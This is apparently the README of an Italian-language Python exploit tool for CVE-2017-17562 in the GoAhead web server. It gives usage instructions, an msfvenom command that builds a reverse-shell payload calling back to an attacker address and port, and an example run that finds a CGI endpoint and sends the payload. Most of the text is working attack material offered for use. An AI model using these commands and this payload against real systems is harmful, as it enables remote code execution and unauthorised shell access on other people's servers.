
Exploit autonomo in Python 3 per CVE-2017-17562
Exploit standalone in Python 3 per reverse shell per CVE-2017-17562, funziona sulle versioni 2.5 < 3.6.5 del server web GoAhead.
Articolo del blog qui.
Scritto e testato su Python 3.7 sulla base di POC e ambiente vulnerabile qui. Parte del codice è tratta da il modulo Metasploit.
POC originale trovato qui. Ho scritto questo perché non riuscivo a far funzionare il POC originale, e solo dopo ho capito che mancava una funzione per cercare il modulo CGI da sfruttare, cioè richiede all'utente di specificarne la posizione o fornire una wordlist per la ricerca ricorsiva.
root@Kali:~/Infosec/RubyStuff/GoAhead-Web-Server-2.5~3.6.5# ./exploit.py -h
usage: exploit.py [-h] -rhost RHOST [-rport RPORT] [-cgipath CGIPATH] -payload
PAYLOAD
Generate the payload first, eg:
msfvenom -a x64 --platform Linux -p linux/x64/shell_reverse_tcp LHOST=192.168.92.134 LPORT=4444 -f elf-so -o dir/payload.so
Required arguments:
-rhost RHOST Target host running Go Ahead webserver eg. 192.168.92.153
-payload PAYLOAD Path to the malicious elf-so payload. eg dir/payload.so
Optional arguments:
-rport RPORT Target port running GoAhead webserver. Default: 8080
-cgipath CGIPATH The path to a CGI script on the GoAhead server Default: '/cgi-bin' as in http://192.168.92.153/cgi-bin
Call the exploit like this:
./exploit.py -rhost 192.168.92.153 -rport 8080 -cgipath /cgi-bin/index -payload dir/payload.so
root@Kali:~/Infosec/RubyStuff/GoAhead-Web-Server-2.5~3.6.5# ./exploit.py -rhost 192.168.92.153 -rport 8080 -payload payload3.so
Searching 390 paths for an exploitable CGI endpoint...
Exploitable CGI located at /cgi-bin/index
Sending payload...